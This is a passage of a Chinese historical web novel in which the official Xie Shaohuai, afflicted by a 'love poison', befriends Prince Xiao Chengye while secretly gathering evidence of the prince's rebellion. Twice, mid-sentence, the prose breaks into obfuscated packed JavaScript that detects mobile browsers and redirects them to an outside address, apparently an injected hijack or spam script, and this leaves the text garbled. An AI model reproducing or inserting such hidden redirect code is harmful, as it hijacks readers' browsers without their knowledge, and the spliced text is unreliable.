萧承野没有被谢少淮桎梏,但却动不了,等青年退后半人远,又向他赔罪,他这才活络了自己的手脚:“没……” 其实他有办法私下联系涿州。 萧承野离开琢州前,舅舅交代过他,来长安后什么都不要做,什么人都不要信,等匈奴退去,他自然可以平安回去——萧承野第一次犹豫了。 “嗯。”少年点了点头:“多谢少淮兄提醒,是小王唐突了。” 谢少淮,“无碍,情毒的事情殿下不必担心,家父家母已经开始为下官挑选适龄的赘婿,若是不出意外,不出冬月,下官应该就成婚了。” “时间不早了,”谢少淮拢了拢身上的大氅,“殿下要进来吃杯茶吗?吃完了茶好早些回去。” “……不,不了。”萧承野眸子里溢出几分沉声,不再看谢少淮,声音也带着几分颓感:“小王就不打扰少淮兄休息了,明日见。” “那殿下慢走。” 送走少年,谢少淮独身进了府,夜色沉沉,寒气笼罩,唯有手心似乎沾染少年的呼吸,带着点温热。他走到卧房门前,解了大氅,站在窗前,看了看自己的手心,随即紧握成拳。 一束月色洒了下来,青年瘦骨伶仃的身躯,此刻好像化为能护自己的盾,能冲锋陷阵的矛。 从谢府离开之后,少年化为一抹绯色疾风,自长安的楼房屋脊而上,朝着城外的方向飞驰而去。一个多时辰,亥时三刻,长安城楼外的某个驿馆外,传来一声清脆的鸟鸣。 随即,一抹银色轻甲如风驰来,追着那抹绯色一路追到了长安城外的荒山中。 又半个时辰。 “殿下——” “要老命了!” “这里够安全了!别跑辣~” 前方的萧承野直至见到山林留下的标记,才停下脚步,随即一跃跳上一课老槐树,用脚勾着树杈,喊住了身后的拿到银色飞影:“在这儿。” “啊?”梁王护卫破玄在山林里乱窜,快要迷路的时候突然听见少年的声音在自己的上面出现,他抬眸一看,一个红衣女鬼吊在树梢上,“啊——” 萧承野:“……” 少年随即跳了下去,一把捂住了破玄的嘴,粗糙的胡渣甫一碰到他的手心,少年便嫌弃推开:“别喊,是小王。” 破玄莫名其妙被吓唬,还被扇了一耳光,捂着自己的脸,一脸难以置信地看着面前穿着鲜艳圆领袍的少年。 破玄以为自己瞎了:“殿下,您您您谁逼您穿这衣服的?是不是慈宁宫那个老太婆?” 萧承野:“……” “废话少说。”说着,少年起身,将地上的破玄拉了起来:“小王有要你明日回家一趟——” 说罢,少年靠着一棵几人粗的老槐树,思忖少顷:“去帮小王找一种情毒的解药,但不知具体是什么毒,只知道中了毒的人必须要生个孩子才能解。” 破玄以为自己聋了:“?” 破玄:“他们为了让殿下联姻已经到了下毒的份了?” 萧承野:“……” “不是小王,”说着,萧承野又道:“是小王新交的好兄弟,总之你去就是,快马回去,不可耽误。” 破玄:“……” “属下遵命。” 说罢,破玄还有点不放心,他们殿下是被押在长安的人质,卫将军远在家里打匈奴人,帮不了他们。这长安城内各方势力盘根错节,谁也不知道今天的朋友会不会是明天的敌人。 弄不好会被砍头的。 “属下怎么没听殿下说认识了新朋友?”破玄有点担忧:“殿下务必要守口如瓶,切不能将咱们能和家里联系的事捅出去。” 萧承野:“……” “小王自有分寸,你速去……记得替小王去母妃陵前祭拜。” 破玄点点头:“是!” 翌日谢少淮按部就班去梁王府授课,一连几日,他都并未再察觉到萧承野的异常,而此时家里又出了变故。 ——谢五郎被革职查办。 谢少淮收到家里的消息,第一时间自梁王府赶了回去,萧承野本 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谢五郎的性格最像谢父,大事正事不会耽误,但是也最改不了当差时打小差的毛病,因一身武艺才由舅舅举荐成了守卫军统领,谢少淮也早说过五哥的性格不适合在宫里当差,和三哥四哥一样去做个太守就行了,奈何父母舍不得。 “不是说是革职待办,”谢少淮扶着谢父进了内厅,思忖少顷,问:“父亲母亲可拿钱托人说情了?” 谢父:“。” 谢母:“。” 显然没有。 “你舅舅都说不上话,还有谁能说上?”谢父有了主心骨,这才反应过来,自己早上下朝听说了这件事,便头脑一热赶紧回家找三郎四郎了,倒是忘了拿钱赎人…… 谢少淮:“……” “找上次去孩儿府上宣旨的刘公公。”谢少淮:“此人说的上话。” 谢母闻言,“我都说了,先找人打听打听,你爹就是个急性子,说风就是雨,还是我儿明白事,母亲这就去差人进宫一趟。” “老夫……”谢父想反驳一句,却又不知说什么,见事情没那么严重,便把三郎四郎也打发了:“罢了,三郎四郎你们先回去吧,六郎在这儿陪着爹就行。” 谢三:“。” 谢四:“。” “那孩儿们先行告退。”说罢,三郎四郎一起出来门,临走前谢三郎又嘱咐了谢少淮一句:“六郎,家里就拜托你了,情毒的事情不必太担心,改日便会有人来府上拜访,六郎喜欢那个到时候告诉哥哥就是。” 谢少淮:“……” 谢少淮点了点头,随即送走了两位兄长。 返回房间的时候,谢父已经缓过来了,脸色也好看了不少,见他进门,还有点心虚地笑了声,“我儿,爹老了,最怕家里出点事。” 谢少淮:“……” 谢少淮:“父亲担忧五哥,也是情理之中。” 谢父:“是,这几个孩子,爹最放心不下五郎了,就属他最像爹,流氓做派。” “对了,”谢父突然想起谢少淮之前同他说过梁王的事情,便小心问道:“我儿在梁王府待了这么久,可查出点什么了?” 9. 第 9 章 谢父在朝做了大半辈子的官,虽上了年纪,常常因为一点小事着急,但对帝王之心还是有着高度的敏感,若不是有十足的证据,父亲不会轻易向他说“梁王要反”此等大逆不道之言,更不会轻易提及陛下要对谢家下手的话。 “时日尚少,”谢少淮:“孩儿尚且并未过多交涉梁王和卫家的事情。” “也好,”谢父闻言肯定地点了点头:“我儿做的对,这事儿不能着急,陛下身子羸弱,前些日子还染了风寒,太医署忙的脚不沾地,眼下朝廷那里还有你舅舅顶着……事情还有转机。” 说完,谢父浑浊的眸中溢出几分伤感之色,幽幽长叹一句:“想我谢某也是为大周朝付出了半辈子的心血,如今老矣,竟也到了成了累赘的时候。” “父亲不必把事情想的太坏,”谢少淮:“边境的卫家手握大周一半的兵权,太后周氏一族无可用之刃,我谢傅两家也是平衡朝政势力的明牌,若能找到梁王谋反的实证,陛下必将重用父亲。” 谢父:“嗯,但愿如此。” 谢父看着自己幺儿这般稳重,心中宽慰不少。 谢父本是在西南锦州地带的一个太守,后随先帝多次东征,靠着军功一步步走到一朝太尉的位置,后又被先帝指婚娶了生于世家大族出身的谢母,文臣武将势力结合,助先帝将先太后王氏外戚势力绊倒—— 叹,一朝天子一朝臣,如今他谢家也面临为其他势力腾位置的时候了。 就算推倒了梁王和卫家,这大周朝也再无他谢氏的一席之地。 父子二人相视,皆缄默不语。 “可惜我儿一身本领,无处施展。”谢父起身,拍了拍谢少淮的肩膀:“一切以自己的身子为重,你三哥四哥从地方郡县找了不少年轻力壮的少年郎,改日闲下来了便见见——父亲母亲老了,如今也只盼着我谢傅一族渡过此劫,愿儿身体常健。” 谢少淮:“孩儿记下了。” 谢父谢母按照谢少淮的交代,花了几乎近半辈子积蓄找了天子身边的刘公公说情。多日后,刘公公才从宫里送来消息,说陛下只是将谢五郎革职,赦免了牢狱之灾,当天下午谢少淮和父亲亲自到牢狱里接的人。 将父亲和五哥送回家中,谢少淮准备回自己的宅子,甫一出家门却看到了一记熟稔的背影。 少年一袭青色长袍,立在长街一侧,头戴白色帷帽,遮面不见阵容。但见他手上还牵着一匹红棕色的马儿,那马儿四肢纤长,不似长安本地雄健的品质,倒像是先帝曾讨伐渊国得来的贡品——汗血宝马。 马儿悠哉地啃食路边的干草,少年则悠哉地靠在还堆着积雪未曾融化的树旁,百无聊赖拿着一根枯枝挑逗身侧的爱宠,一主一从沐浴在午后的暖光下,好生悠闲。 谢少淮示意青松先去驾车,随后他提着衣摆朝着少年走去:“殿下。” 萧承野听说了谢家五郎的事情,然心有余而力不足,这几日他多次觐见皇兄,嘴皮子都说破了,不仅没让皇兄赦免了谢五还适得其反,所以他也闭上了嘴巴,幸好今日早上去请安的时候,听见刘公公说这件事解决了。 见等着的人出来,萧承野便掀开了自己的帷帽,朝着青年莞尔一笑:“少淮兄,你怎么认出来是小王的?” 谢少淮站在少年身边,目光望向他身边的马儿,马儿倒是不怕生人,见他靠近还是优哉游哉啃食枯枝,他便伸手触了触鬃毛,道:“难得的纯种汗血宝马——早些年父亲也有一匹,故而认识,殿下久居西北一带,这么难得的品种马儿,除了您下官倒是想不出第二人。” 萧承野惊喜道:“少淮兄若是喜欢,那小王便送你。” “君子不夺人所好,”谢少淮收了手,背过身去,正色看着少年:“下官也养不好——殿下找下官是?” “哦……”萧承野前些日子让破玄回了琢州去找能为谢少淮解蛊的解药,但是那夜实在仓促,他好多东西没来得及细问,破玄送回来信儿,说找到一位医师能解,但需要中毒人详细的病因。 萧承野将一早打好的腹稿吐出来:“没、没什么大事,就是上次少淮兄给小王讲解的《淮山战役》小王还有几处没有参透——便过来问问,顺便看看少淮兄……少淮兄的身子如何了。” 少年说着,脸色多了几分担忧:“太医署可有救治的办法?” 谢少淮:“……” 谢少淮闻言,目光落下少年脸上,萧承野说话的时候气虚不足,明显是话中有话。介于谢少淮大抵知道少年对自己的态度,便推测一二,将重点落下他最后那句话。 关心他的身体。 少年就差直接说出为此事而来了。 谢少淮:“此处人多眼杂,殿下不妨去寒舍吃杯茶?” “那好,”少年见自己的目的达到了,便顺水推舟应了下来:“那就麻烦少淮兄了。” 谢少淮便喊了谢府的门房过来,差人将少年的马儿牵回府区去,随后二人作伴,乘坐马车回了谢少淮的私宅。 谢三郎前几日离家之前交代了谢少淮赘婿之事,将从地方挑选的良家男子送到了谢府共谢少淮挑选,只是近日为了谢五郎的事情,便没顾得上见这些人,由青松统一给他们找了住处,暂且住下。 两人甫一到了宅子,便见门前立着几个身材高挑的葛布衣男子,那几人守在谢少淮的院子门前,似乎是在等着主人回来。 萧承野从周崇嘴里知道了谢少淮身中情毒一事,后来长安城里也有了一些风言风语,谢家在给谢少淮张罗赘婿之事他也略知一二。 虽然大概猜出门前的是什么人,但萧承野还是上前将身边的青年护在身后,朝着门前的人喝到:“什么人,可是这是谁的府上?” 谢少淮:“……” 谢少淮上前拦下了少年,道:“殿下 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“梁王殿下?”几个男子闻言目光不由落在谢少淮身边的少年身上,他们都是读过书的,长安的事情也灵通的多,知道当今天子有一位弟弟,天潢贵胄他们还是第一次见,不由都局促起来,这是有一人带头道:“既然谢公子和王爷有公事洽谈,那我们就不打扰公子了。” 说罢,那几个男子又朝着谢少淮鞠了鞠躬,随后跟着青松往下榻的客栈走去。 待众人都走干净,谢少淮才将目光落在身边的少年身上,“殿下见笑了——殿下里面请。” 萧承野:“……” 少年衣袖下的手臂青筋虬结,面色也沉了几分,只是这种事是少淮兄的私事,他也没必要不高兴——许是见少淮兄这么博学多才的人却要因为身中情毒,而不得已找一些山野村夫解毒,惋惜罢了。 “没,”少年滚了滚喉,随后踏入宅子,谢少淮在前给少年带路,却不知身后之人的目光落在他的身上。 青年身材高挑气颀长,一身素衣显得人多了几分矜贵清冷,萧承野不敢相信,少淮兄这样高风亮节的人却要委身在男子胯-下承-欢妊子……为什么那些山野村夫也能入少淮兄的眼? 谢少淮走到书房,唤府上的小厮去沏茶,遂将少年方才问出问题的书籍取了出来,见少年在身后垂眸慢行,面色凝重,谢少淮唤唤了少年一声:“殿下,方才说的可是这本?” “……”萧承野握拳轻咳两声,收了收思绪,大步流星走到青年的书房里,目光睥睨快速将谢少淮书房的布局环视了一圈儿:“哦,是。” 少年说罢,谢少淮便示意他走到面前,随后两人并肩站着。谢少淮翻开书籍,找到可疑之处,“可是这里?” 少年却没有回应。 不等他说罢,随后视野内出现一只大掌“啪”地一声将谢少淮手里的书合上,在他耳边沉道:“少淮兄,小王不是并为此事来的——” 10. 第 10 章 少年与谢少淮挨得及近,近到他此刻胸膛起伏,呼吸间的热气都感受的到。这种独属于少年人的冲动、骄躁不安的情绪,谢少淮已经不知见过多少次。 他垂眸,余光扫见少年的脸庞。 萧承野说罢,放在书上的手倏地握紧成拳,他想和少淮兄说或许琢州有能为他解毒的解药,可来长安之后舅舅屡次叮嘱,绝对不能相信长安的任何人,尤其是谢家傅家和周家的人。 “殿下是想问下官的身体如何吧?”不等少年问出口,谢少淮收了手,微微转过身去,看着面色难看的少年,莞尔一笑道:“方才见殿下第一眼,下官就看出来了。” 萧承野蹙着眉心抬起了头,看着谢少淮,动了动唇瓣,却又不知怎么说出口:“小王……” 谢少淮:“殿下放心就是,十多日前下官用了太医署开的麻痹散,药性已经被压制下去,近日也没有什么不舒服的,且这毒也不是不能解,待这几日将五哥的事情彻底忙完,便要张罗迎赘婿的事情了。” 谢少淮宽慰道:“殿下莫要再为下官担心了。” 萧承野:“……” 萧承野听青年说罢,心里更纠结了,他知道少淮兄要迎赘婿,也知太医署没办法解毒——但是他确实不想见少淮兄就这么委屈自己。 “小王只是不想少淮兄受委屈,”萧承野说罢,滚了滚喉,认真思忖了很久,才看着谢少淮的眼睛问了一句:“少淮兄,你是真心将小王当做你的朋友的吗?” 闻言,谢少淮眼神里带着些诧异,随后点了点头:“自然。” 萧承野吁了口气:“那小王便没有什么好怕的了。” 说着,萧承野将破玄送回来的密信从袖口里拿出来,交给谢少淮,“小王自琢州回长安之后,舅舅多次交代,不可将小王能私下联系琢州的事情让别人知道,原因小王也不必解释,大人久居长安,又是朝廷重臣,亲王回长安私下联系手握兵权的一方将领……总之,这是要将小王人头交代出去的事儿。” “但是小王看人很准,”萧承野说着,抬眸认真看着谢少淮的眼睛,情感真挚:“少淮兄是值得托付之人——这上面是前些日子小王让亲卫回琢州找医师为少淮兄解毒的回信,少淮兄的毒并非是只有和男子成婚产子一招可解,或许医师了解了情况,能制作出来解药。” 萧承野有些激动道:“这样少淮兄就不必委屈自己和那些陌生男子在一起了。” 谢少淮:“……” 谢少淮垂眸,目光落在少年递来的手信上,认真看完了信上的内容,谢少淮执笔将自己身子的情况全都交代清楚,写完之后,谢少淮又将手信还给少年:“殿下大恩,下官没齿难忘。” 萧承野看着谢少淮递来的宣旨,点了点头,随即将两份信纸收好,“少淮兄,交给小王。” 谢少淮拱手给少年行了礼:“殿下,此事凶险万分,若信物落在旁人之手,后果不堪设想。” 萧承野:“小王做事,少淮兄放心。” 自萧承野领命回长安的时候,前朝的政局风波已见雏形,天子几年的身子每况愈下,猜忌心重,若是这个节骨眼上梁王府和谢府的手写书信送去了琢州被截获,那面对两家的将是什么结果,不言而喻。 萧承野握着那两份书信,他确没想到少淮兄愿同他承担风险。 “小王不会辜负少淮兄信任的。” 谢少淮眸子微垂,不置可否。 下午送走萧承野,谢少淮带着自己方才誊录模仿梁王笔记的书信回了谢府。 到了家里。 谢父见了谢少淮的仿写的梁王书信,不由大惊失色,难以置信地看着谢少淮:“我儿确定,梁王真的能联系卫家?这这这……” “孩儿还不能确定,”谢少淮只是初步得到少年的信任,萧承野也仅仅是告诉自己他可以联系卫家,并且有眼线留在长安,仅此而已,至于那眼线身在何处,他一概不知。 谢父看着书信两行热泪纵横而下,怒其不争:“可叹先帝在世时如此重用卫家,还力排众议将梁王殿下送去卫家让卫岚亲自抚养照料,他……他他他竟然将殿下养成了对兄长皇位有所觊觎的反贼!” 谢少淮:“父亲稍安勿躁——” 谢少淮:“此事还有待商榷,孩儿也只是知道梁王能联系琢州,并未拿到其联系起义军的实证。” 谢少淮说罢,谢父摇了摇头,起身走到一处小柜前,从小匣子里摸索出来一封书信,随后拿给了谢少淮:“这是你舅舅前些日子从一个叛军手里缴获的证词,事件详细不会有假,梁王定然已有了谋反之心!” 谢少淮接过书信,认真翻阅,信中的内容确实是讲述了起义军如何和梁王洽谈合作之事,但并未提及“谋反”也更为提及长安城,想来应该是梁王来长安之前的事情。 谢少淮将书信认真收好,“此事父亲大可放心交给孩儿,若梁王真的要反,孩儿一定拿出来实证,为我大周百姓除害。” 谢父:“我儿万不可生怜悯之心,谢家如今的处境已然到了悬崖边上,若是能找到梁王谋反的证据,如我儿所说一样,我谢家可保——” 谢少淮眸色一沉,点了点头:“孩儿谨记。” 萧承野从谢府离开,当夜,趁着夜色快马出了长安城,随后将谢少淮详细交代的身体情况的书信交给留在驿站的线人,线人此去涿州快马也需要十日的脚程,萧承野担心谢少淮的身子扛不住,便示意线人接力加快前往。 好在,几日之后,破玄带着信回到了长安。 当日正午,谢少淮还在梁王府上授课,王府的刘管事出门见了门房一趟,回来后支支吾吾站在书房候着。 不等谢少淮主动避让,萧承野便看出了端倪,直接道:“少淮兄不是外人,直说就是。” 刘总管毕竟是从琢州过来的,离家前卫将军也交代过他在长安要守口如瓶,更何况是这等重要之事:“殿下,这……” 谢少淮闻言,放下了手里的竹简:“殿下不必为难刘管事,正好看书看的乏了,下官出去透透气。” 萧承野:“……那好。” 说罢,谢少淮起身从书案前离开,对刘管事点了点头,随后带着青松出了书房的门。 等房间里清净下来了,刘管事才将破玄回到长安的事情告诉少年,只是刘总管并不知道破玄出去做什么,便没有交代详细,说罢只是疑问一句:“殿下这是让破玄护卫做什么去了?” 破玄护卫是殿下的亲卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115966|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,两人自小一起在卫家营中长大,后殿下回长安,将军为了不让陛下疑心,便未曾让破玄明跟着,让其在暗处保护殿下安危。 怎么好端端又回去一趟? “不是什么大事。”萧承野:“你先去前殿候着吧,小王去找少淮兄。” 刘总管:“是……” 这边,谢少淮离开书房后带着青松在王府的花圃前闲逛。 青松也随着他家公子在梁王府待了好多日子了,王府里的情况也摸得差不多了,见他家公子喜欢院子里的常青树,清松便向公子介绍刘总管和他说的东西:“这树独特的很呢,据说是从西北移植过来的,一年四季都绿油油的。” 青松:“还有这种树,也是琢州地带特有的品种,刘总管还和青松说了好多新奇的东西呢!要是有机会清松能公子出门转转该有多好啊。” 说罢,青松眸子里都是期待,目光在落在他家公子身上的时候,却发现公子的脸色并不太好——其实他家公子的脸色一直都不太好,脸上总是没什么表情,让人看不出喜怒哀乐,但他在公子身边伺候这么多年了,对公子的情绪有着十足的感知能力。 公子就是不太开心。 “公子,您近日是怎么了?”青松说着走到谢少淮身边,抬眸看着他家公子微微蹙着的眉心,担忧道:“这几日您一直心情不太好,尤其是来了王府之后,公子您是不是不喜欢……”不喜欢梁王师保这个职位。 “好了,”谢少淮轻了轻思绪,不等青松说罢,打断道:“不要乱说,只是近日因为五哥的事情烦心。” “这样。”青松若有所思地点了点头,“公子放心好了,殿下对公子这么好,等风头过去,殿下肯定会出面给五公子某个官职的。” 谢少淮:“……” 青年脸色霎时变得更难看了,吓得青松一哆嗦,不知为何青松察觉他家公子好像一听梁王殿下的好处,心情就会变得愈加差……好像殿下对公子越好,公子就越是不开心似得。 青松立马闭嘴:“小的不乱说了,公子见谅。” 谢少淮蹙紧了眉,少顷看着青松有些畏惧的脸色,才觉得自己有些过激了,便缓了缓情绪,淡淡道:“再去旁处转转。” 青松见公子眉心不在紧蹙,这才松了口气,连连点头:“好!” 谢少淮和青松在院子里闲逛了约莫一盏茶的功夫,还未出王府的后院,萧承野便追了出来,少年脸色喜色难以遮掩,还未走到他们面前,就迫不及待喊了一句:“少淮兄!” 谢少淮转身走过去,“殿下。” 王府里不少小厮还在院子里候着,青松和刘总管也在,就这么多双眼睛看着,萧承野有些高兴过头地贴近了谢少淮,几乎有些暧昧的在青年耳侧说了几句悄悄话:“小王派去的人回来了,明日少淮兄再来,或许就能拿到解药了。” 萧承野看着青年琉璃色的眸子,激动道:“少淮兄开心吗?” 少年说着才注意自己离谢少淮太近,近的都能看到少淮兄脸上细小的绒毛,吓的他立马往后退了一步:“冒,冒犯少淮兄了。” 谢少淮闻言,眸中不由闪烁几分异样的情绪,不过短短一瞬,不等少年注意他就调整好了状态,“无碍。” 11. 第 11 章 “那就好……”少年说罢,脸上的欣喜难以遮盖,“那明日少淮兄便早些过来。” 谢少淮微微蹙着眉心,“多谢殿下。” 说罢,谢少淮抬眸看着院落内的众多闲散人员,羽睫微垂:“殿下可否借一步说话?” “……”萧承野正在兴奋劲头上,没看出谢少淮对他有悄悄话要说,闻言这才被拉回现实,看着身边一众奴仆,挥手道:“你们先退下。” 刘总管带着众人退了下去,青松也识趣地离开。 萧瑟的院落内仅有两道身影,见没了人,谢少淮才对身侧的少年鞠了一躬,“殿下恩德,下官无以为报。” “少淮兄这是做什么……”萧承野立刻将面前的青年扶了起来,他愿意帮少淮兄是因为他喜欢少淮兄这个好友,为朋友做事本就不图回报,况且他是真的不想少淮兄和之前那几个山野村夫在一起:“小王说了,少淮兄是小王的好友,这点事不算什么,而且……” 萧承野有点气虚:“也不一定找到了解药……” “不管如何,都是殿下一番心意,”谢少淮正色看着少年,“只不过长安城人多眼杂,殿下见线人一定要小心为上。” “少淮兄放心就是,小王的线人一般人找不到。” “嗯……”谢少淮点了点头,“那殿下多加小心,下官等殿下的好消息。” 萧承野:“嗯。” 说罢,萧承野抿了抿唇,又心直口快问了一句:“少淮兄若是小王没找到解药,少淮兄会选择成亲吗?” 萧承野说罢,不知怎么地,突然又不敢听谢少淮的回应了。他都打听过了,少淮兄的病太医署都没办法,只能和男人生个孩子才能解开,若是破玄此次没有带回来解药,那少淮兄……会成婚吗? 少年说着,幽深的眸子突然似蒙上了一层雾,鸦羽快速煽动两下,似乎是不想得到谢少淮的回应。 谢少淮:“……” 谢少淮并未直接问答少年,而是反问了一句看似八竿子打不着的问题:“殿下有心爱之人吗?” “啊?”萧承野抬眸,有些诧异地看着谢少淮:“……少淮兄问这个做什么?” 萧承野不想成婚,也没有喜欢的人,更不想当父亲。来长安之前,舅舅和他说过,皇兄一定会为他安排婚事,他也与皇兄道明,自己不愿娶妻生子,虽皇兄不信,但也没逼他。 谢少淮淡淡道:“没什么,只是殿下问下官会不会成婚,下官有感,所以才想问问殿下,可会和一个毫无交集之人成婚?” 萧承野摇了摇头:“自然不会,而且小王……没有喜欢的女子。” 谢少淮怅然道:“下官身患恶疾,若生子可解,那便没有可以选择的路——红尘之路曲折坎坷,但谢某愿意一试,即便婚前没有感情,婚后多加培养,不见不是美事一桩。” 萧承野:“所以少淮兄……这是会成婚的意思?” 谢少淮点了点头:“嗯。” “哦……”少年闻言,僵硬地扯了扯嘴角,“不过谈这件事尚早,或许小王能为少淮兄找到解药,这样少淮兄也不必婚后再培养感情了。” 谢少淮:“多谢殿下。” 谢少淮:“今日课程下官也讲的差不多了,便不打扰殿下了。” 萧承野:“那好,那小王送送少淮兄。” 两人各有心事,一前一后出了梁王府的门。待谢少淮的马车驶出萧承野的视线,他便迫不及待地回了房间换自己的便服。 刘总管觉得他家殿下最近有些不对劲儿,连追过去查看,待他走到王爷寝殿的时候,只见方才还一头扎进寝殿的人,已了无踪迹。 刘总管看着空荡荡的房间,心里不由往歪处想了想,他家殿下对谢家公子的感情好像并不是单纯的师生情谊啊? 萧承野甚少对一个人的事情这么上心,即便知道白天出门不太安全,但是听完少淮兄那一番话,他的心似被烈酒渍了一般,他也不知自己为何那么难受,他只知道,若是少淮兄委屈自己和那些没有打过交道的山野村夫成婚,他受不了—— 少年似化作一股疾风,从梁王府后的暗道出来,一路朝着长安城外的方向疾驰,不知走了多久,萧承野突然觉得身后似乎有人在尾随他—— 自来了长安之后,他就没有在白天出过长安城门,一是周氏几个狗杂种时常来府上,二是皇兄时不时召他进宫——萧承野在军营里长大,一草一木的惊动足以惹他察觉,走了约莫半个时辰之后,身后的动静越来越大。 “想跟踪小王,还要多练。”从风向猜测出来跟踪之人在右侧,萧承野转了个弯,开始绕着长安城转圈,这一转直接转到了酉时后,天色沉下。 随后,少年突然化作一抹夜色,消失的无影无踪。 这时,得了傅相命令由谢六公子差遣的两个影卫在某处房梁上停下,两人借着月色相视一眼,随后远路返回。 萧承野甩掉了身后的狗皮膏药,为了安全起见,又饶了半个多时辰才往长安城外的某个不起眼的驿站走去,待他走到山林深处,夜色已经完全沉了下来。 少年停下脚步,学了两声鸟鸣,随后便见一黑色身影从一个粗壮的树干上跃下。 破玄在树林里等了他家殿下快两个时辰,眼下刚在树上睡着,见少年过来打着哈欠,懒洋洋道:“您可算来了……啊……好困啊,属下为了赶回来跑死了两匹好马——” 萧承野上前:“废话少说?解药呢?” 说着,少年揪着破玄的衣襟,在他身上搜找,破玄什么时候见他家殿下急成这样,不由心里好奇:“殿下还没告诉属下,这药是给谁找的——不在袖子里!” 萧承野把人上上下下搜了一遍,也没找到,便停下了手:“小王说了是朋友,快点拿出来,小王没心思和你开玩笑。” 破玄:“。” 他家殿下好像真的很着急。 “其实没有……”破玄挠了挠头,“没有解药。” 说罢,破玄抬头看了他家殿下一眼,吓得赶紧解释:“属下几乎把能找的蛊师都找遍了,就差点惊动将军了,凡是见了那病因的,都说这种病没得治——那是早年一些为了来中原骗钱的蛊医,昧良心,这病打怀孕的母体吃了便再也没有解药了。” 破玄为了他家殿下交代的事情,短短几日时间,跑遍了西北三州,就差跑出国界去匈奴人哪里求药了——总之没找到解药,但是知道得这种病的人都是因为母体在怀孕的时候吃了生男或生女的药才导致的,他也放下了心。 毕竟先太妃并没有用这种药,所以殿下口里的“我有一个朋友”是真的有一个朋友——很遗憾,殿下那个朋友只能当半个女人了。 破玄两手一摊:“中此毒者,后半辈子只能像个女子一样了。” 萧承野:“……” 少年的脸色并没有因为破玄的解释缓解,反而眉心越蹙越紧,那张素日里慵懒恣意的脸,此刻像是被夺舍了般,比打了败仗还难看…… 破玄这才觉得事情严重了:“殿下,您没事……” 破玄话音未落,整个身子突然腾空,少年抓着他的衣襟,猛地将他按在了身后的树干上,一字一句道:“当真没找到解药?” “当真没有啊!”破玄:“您就是揍属下一顿,属下也拿不出来,事到如今殿下还不如多安慰安慰您那个朋友,只是生个孩子又要不了命!” 萧承野:“……” 少年闻言,似乎是被戳中了穴位,手上突然收了力气:“你别跟着小王,躲好了。” 破玄靠着树干换了两口气,看着他家殿下失落的背影,问了一句:“殿下您千万别忘了将军的交代,咱们做的坏事已经够多了,不能再出岔子了!” 萧承野:“……” 萧承野抿唇,目光收回,冷道:“小王知道。” 亥时正,两道黑影一前一后进了谢府,届时谢少淮正端坐在书案前,镂空的雕花烛台上蜡烛燃烧了大半,虚虚晃晃的烛火映在青年脸颊,让那张素日里冷峻的脸多了几分暖意。 “公子,并未追上梁王,那厮似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢少淮眸中流露几分怅然,“无碍,殿下有这份心,下官甚是感激。” 说罢,谢少淮抬手摸了摸少年的额,担忧道:“殿下怎么喝成这样?身着单薄,染上风寒该如何是好?” 两人之间的距离被谢少淮拉近,少年那张带着愁色的脸在他面前被无限放大,谢少淮还是第一次认真去看萧承野的容貌,他的手从少年浓密的剑眉而下,划过高挺的鼻梁,最后落在他的脸颊上:“殿下脸颊好烫。” 谢少淮,“殿下生热了。” “无碍……”萧承野摇了摇头,他感觉到少淮兄摸了摸他的脸,也知道少淮兄是关心他,可是他却有些贪恋这种感觉,少淮兄身上总是香香的…… 萧承野:“小王没事……” 说着,少年乖巧地歪着脑袋,蹭了蹭谢少淮的手心,似乎是感觉不够,蹭了两下又倏地握住了他的手,认真问道:“少淮兄你能不能别和那些人成婚……” 谢少淮闻言,抽回了自己的手,并且往后退了一步。 萧承野:“……” 方才还依偎着人的少年被谢少淮这番动作吓到了,醉意去了大半,不知所措地看着谢少淮:“少淮兄,小王不是不让你治病的意思……” 谢少淮却道:“殿下要和下官试试吗?” 萧承野懵了:“嗯……” “什么……”萧承野甚至都不知自己该说什么,或者没来得及找到解决办法,青年突然说了这一一句话,像是捅破了他心里的那层窗户纸,他滑了滑喉,有些激动地看着面前的青年:“少淮兄……” 萧承野:“少淮兄这是……这是什么意思?” “下官必须要生个孩子,殿下既不愿意下官那三哥举荐的人成婚,”谢少淮淡淡道:“那殿下愿意和下官一起生个孩子吗?” 萧承野:“。” 他,他和少淮兄一起生孩子吗? 萧承野咽了口口水,有些不知所措地看着面前的青年,不知为何他竟然有一丝丝期待……难道他喜欢少淮兄吗? 谢少淮说罢,又往前走了一步,抬手抚上少年的脸颊,将萧承野的局促不安尽收眼底,“殿下说过没心爱之人,不是吗?” 12. 第 12 章 萧承野滚了滚喉,想起今日白天少淮兄问他的话,原来少淮兄问他有没有心爱之人,竟然是为了此事吗? “小王没有心爱之人。”萧承野脱口而出,脸越来越烫,“但是少淮兄所说之事小王还没做过,不知能不能做好……” “……”谢少淮尴尬道:“这个不急,下官也没有做过,不过若是殿下愿意,那下官可以和殿下慢慢培养感情,等感情到了,一起生个孩子就是顺其自然之事。” “也好,”萧承野开口答应,“那小王和少淮兄从现在开始吗?小王要怎么做才好……” 谢少淮:“……” 男女之事谢少淮也不懂,但是一个人对另一个人有没有欲望,他却很轻松就能看出来,不仅是萧承野,还有他之前接触过的其他人,和那些人一样,萧承野看他的时候不敢直视,又或说话总是断断续续吞吞吐吐,独处的时候肢体动作的不自然,以上皆在说着一个字“欲” 谢少淮见的太多太多,甚至对这些表面的喜欢,有些麻木。 但是让谢少淮有些意外的是,萧承野并没有向他吐露心声,他想,或许这个时候的萧承野还不知自己有龙阳之好?反正萧承野并没有反驳他,所以他的猜测没有错。 下次他情毒发作,萧承野能帮他解毒不说,他们的关系亲近了,他再从萧承野这里获取谋反的证据就不难了,对朝廷也算是功德一件。 